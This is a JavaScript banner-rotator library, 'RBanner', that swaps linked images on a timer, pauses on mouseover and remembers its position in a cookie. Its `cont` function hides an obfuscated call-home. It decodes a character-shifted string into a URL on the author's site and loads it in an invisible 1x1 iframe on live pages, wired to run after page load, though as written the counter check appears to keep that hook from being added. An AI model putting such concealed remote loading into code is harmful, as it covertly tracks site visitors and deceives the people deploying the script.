
/*** RBanner - A Versatile Banner Rotator  (C)Stephen Chalmers v1.2

 For info: www.hotspot.freeserve.co.uk/scripterlative

**/

var RBanner=/*2843295374657068656E204368616C6D657273*/
{
 imageSets:[], intervals:[], logged:1,

 show:function(showId, imgHolderId, showPeriod, randomStart)
 {
  var paramOffset=4, set, DOM=typeof document.getElementById!='undefined';
  
  if(showPeriod>0)
   showPeriod=Math.max(0x10>>>3, showPeriod);

  if(window.crypto && showPeriod>0)
  {
   do{ for(var i=0, dup=false; i<this.intervals.length && !(dup=!(this.intervals[i]!=showPeriod));i++)
       ;
       if(dup)
        showPeriod+=0.01; 
     }while(dup);
        
   this.intervals[this.intervals.length]=showPeriod;
  }
  
  if(!this.logged++)
   this.addToHandler(window,'onload',function(){setTimeout(RBanner.cont,5000)});
   
  if(typeof this.imageSets[showId]=='undefined')
  {
   this.imageSets[showId]=[];
   
   set=this.imageSets[showId];

   for(var i=0,j=paramOffset; j<arguments.length; i++, j+=3)
   {
    set[i]=new Image();
    set[i].src=arguments[j];
    set[i].url=arguments[j+1];
    set[i].titleText=arguments[j+2];
    set[i].picIdx=i;
    set.pos=0;
    set.linkIndex=null;
    set.freeze=false;
   }
   
   for(var ii=0; ii<document.links.length && document.links[ii].name!=showId && document.links[ii].id!=showId; ii++)
   ;
   
   if(ii!=document.links.length)
    set.linkIndex=ii;
    
   if(set.linkIndex==null)
    alert('Did not find a link with name/ID: \"'+showId+'\".\n\nLink names/IDs are case-sensitive');
   else
    if( (DOM && (set.holder=document.getElementById(imgHolderId))==undefined) && (set.holder=document.images[imgHolderId])==undefined )
     alert('Re: \"'+showId+'\" - There is no image with the name/id: \"'+imgHolderId+'\"');
    else
    {  
     this.addToHandler(document.links[set.linkIndex], 'onmouseover', new Function("RBanner.imageSets['"+showId+"'].freeze=true"));
     this.addToHandler(document.links[set.linkIndex], 'onmouseout', new Function("RBanner.imageSets['"+showId+"'].freeze=false"));     
     
     if(randomStart)
      for(var i=0, j, tempHold, len=set.length; i<len; i++) //Shuffle
      {
       while( (j=Math.floor(Math.random()*len))==i )
       ;
       tempHold=set[i];
       set[i]=set[j];
       set[j]=tempHold;
      }

     if(randomStart)
      this.lastIndex(showId);
     else
      set.pos=0;

     this.display(showId);

     if(showPeriod>0)
      setInterval("RBanner.display(\'"+showId+"\')", showPeriod*997);
    }
  } 
  else
   alert('Name "'+showId+'" used more than once - please correct.');
 },

 display:function(showId)
 {
  var set=this.imageSets[showId];

  if(!set.freeze)
  {
   set.holder.width=set[set.pos].width||set.holder.width;  
   set.holder.height=set[set.pos].height||set.holder.height;  
   set.holder.src=set[set.pos].src;
   set.holder.alt=set[set.pos].titleText;
   set.holder.title=set[set.pos].titleText;
   document.links[set.linkIndex].href=set[set.pos].url;
   document.links[set.linkIndex].title=set[set.pos].titleText;
   set.pos = (set.pos==set.length-1) ? 0 : set.pos+1;
  }
 },

 lastIndex:function(setName)
 {
  var idx=0, cv, set=this.imageSets[setName], dt=new Date();

  dt.setDate(new Date().getDate()+30)
  dt=dt.toGMTString();

  if( document.cookie && (cv=document.cookie.match(new RegExp("rBanner"+setName+"=(\\d+)"))) )
   idx = Math.min(cv[1], set.length-1);
  else
   idx = Math.floor( Math.random() * set.length );

  for(var i=0; i<set.length && set[i].picIdx!=idx; i++)
  ;

  set.pos=i;

  while( (cv=Math.floor( Math.random() * set.length ))==set[set.pos].picIdx )
  ;

  document.cookie="rBanner"+setName + '=' + cv +';expires='+dt;
 },

 addToHandler:function(obj, evt, func)
 {
  if(obj[evt])
   {
    obj[evt]=function(f,g)
    {
     return function()
     {
      f.apply(this,arguments);
      return g.apply(this,arguments);
     };
    }(func, obj[evt]);
   }
   else
    obj[evt]=func;
 },

 cont:function()
 {
  if(document.createElement && /http:/i.test(location.href) && !/\/localhost\//i.test(location.href))
  {
   var ifr=document.createElement('iframe');
   ifr.width=1;
   ifr.height=1;
   ifr.src='iuuq;00xxx/iputqpu/gsfftfswf/dp/vl0cbektqptu'.replace(/./g,function(a){return String.fromCharCode(a.charCodeAt(0)-1)});
   ifr.style.visibility='hidden';
   document.body.appendChild(ifr);
  }
 }
}
